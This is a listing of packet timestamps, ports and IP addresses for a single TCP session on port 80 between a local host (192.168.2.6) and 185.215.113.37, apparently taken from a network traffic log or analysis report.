Oct 20, 2024 21:16:08.522440910 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.522453070 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.522464037 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.522474051 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.522475958 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.522489071 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.522497892 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.522520065 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.522536993 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.523437977 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.523452044 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.523462057 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.523473024 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.523483992 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.523494959 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.523505926 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.523514032 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.523514032 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.523516893 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.523538113 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.523569107 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.524437904 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.524450064 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.524460077 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.524471045 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.524482012 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.524493933 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.524499893 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.524506092 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.524523020 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.524554968 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.524554968 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.525444031 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.525454998 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.525465012 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.525475025 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.525480032 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.525485039 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.525490046 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.525511980 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.525543928 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.526405096 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.526417971 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.526427984 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.526438951 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.526449919 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.526460886 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.526467085 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.526470900 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.526504993 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.526504993 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.526539087 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.527653933 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.527667046 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.527678967 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.527692080 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.527704000 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.527714968 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.527719975 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.527724981 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.527738094 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.527741909 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.527769089 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.527797937 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.528202057 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.528213024 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.528223991 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.528234959 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.528250933 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.528263092 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.528264999 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.528276920 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.528289080 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.528311014 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.528311014 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.528342962 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.529136896 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.529149055 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.529160023 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.529170990 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.529181957 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.529194117 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.529202938 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.529205084 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.529210091 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.529237986 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.529237986 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.529269934 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.530050993 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.530082941 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.530105114 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.530114889 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.530119896 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.530124903 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.530138016 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.530142069 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.530148983 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.530162096 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.530168056 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.530191898 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.530220985 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.530972958 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.530986071 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.530997038 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.531008005 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.531018019 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.531029940 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.531034946 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.531063080 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.531091928 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.531869888 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.531883001 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.531893969 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.531905890 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.531936884 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.531970024 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.707003117 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.707035065 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.707046986 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.707237005 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.707273960 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.707287073 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.707298994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.707314968 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.707353115 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.707413912 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.707562923 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.707576036 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.707588911 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.707624912 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.707657099 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.707963943 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.707974911 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.707986116 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.707998037 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.708026886 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.708058119 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.708430052 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.708441019 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.708452940 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.708465099 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.708475113 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.708486080 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.708498955 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.708518982 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.708518982 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.708559036 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.708559036 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.709233046 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.709244967 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.709255934 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.709281921 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.709290981 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.709295988 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.709302902 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.709316015 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.709322929 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.709327936 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.709342003 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.709373951 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.710155964 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.710167885 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.710177898 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.710189104 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.710201025 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.710211992 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.710217953 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.710223913 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.710241079 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.710268974 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.710299015 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.710997105 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.711010933 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.711019993 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.711031914 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.711042881 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.711055994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.711060047 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.711067915 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.711081028 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.711087942 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.711107016 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.711124897 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.711875916 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.711889982 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.711900949 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.711911917 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.711922884 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.711934090 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.711944103 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.711946011 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.711956978 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.711967945 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.711968899 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.711993933 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.712022066 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.712738037 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.712750912 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.712762117 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.712773085 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.712784052 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.712795019 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.712796926 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.712806940 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.712819099 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.712852001 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.712852001 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.713601112 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.713613987 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.713624954 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.713635921 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.713644981 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.713655949 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.713665962 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.713666916 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.713679075 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.713689089 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.713690042 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.713706970 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.713737011 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.714426041 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.714451075 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.714462042 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.714473009 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.714489937 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.714489937 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.714504004 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.714518070 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.714543104 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.714570045 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.715328932 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.715341091 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.715351105 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.715362072 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.715373993 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.715392113 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.715403080 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.715415955 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.715430021 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.715464115 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.715464115 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.716041088 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.716053009 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.716064930 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.716077089 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.716087103 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.716099024 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.716100931 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.716109037 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.716124058 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.716125965 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.716135979 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.716150045 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.716197014 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.716197014 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.716954947 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.716968060 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.716979980 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.716993093 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.717005968 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.717016935 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.717020035 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.717030048 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.717042923 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.717045069 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.717056036 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.717066050 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.717067003 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.717102051 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.717130899 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.717860937 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.717875004 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.717885971 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.717897892 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.717907906 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.717919111 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.717924118 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.717931032 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.717941046 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.717947006 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.717978954 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.718010902 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.718698978 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.718713045 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.718755007 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.718801022 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.718813896 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.718823910 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.718836069 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.718847990 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.718858957 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.718861103 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.718872070 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.718878031 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.718903065 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.718935013 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.719685078 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.719697952 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.719708920 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.719718933 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.719729900 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.719741106 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.719752073 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.719753027 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.719764948 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.719777107 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.719825029 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.719825029 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.720585108 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.720597029 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.720607042 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.720618010 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.720628977 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.720639944 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.720650911 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.720663071 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.720670938 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.720673084 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.720702887 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.720702887 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.720729113 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.721426964 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.721438885 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.721448898 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.721461058 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.721472025 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.721487045 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.721493959 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.721497059 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.721509933 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.721519947 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:08.721519947 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:08.721537113 CEST	49711	80	192.168.2.6	185.215.113.37
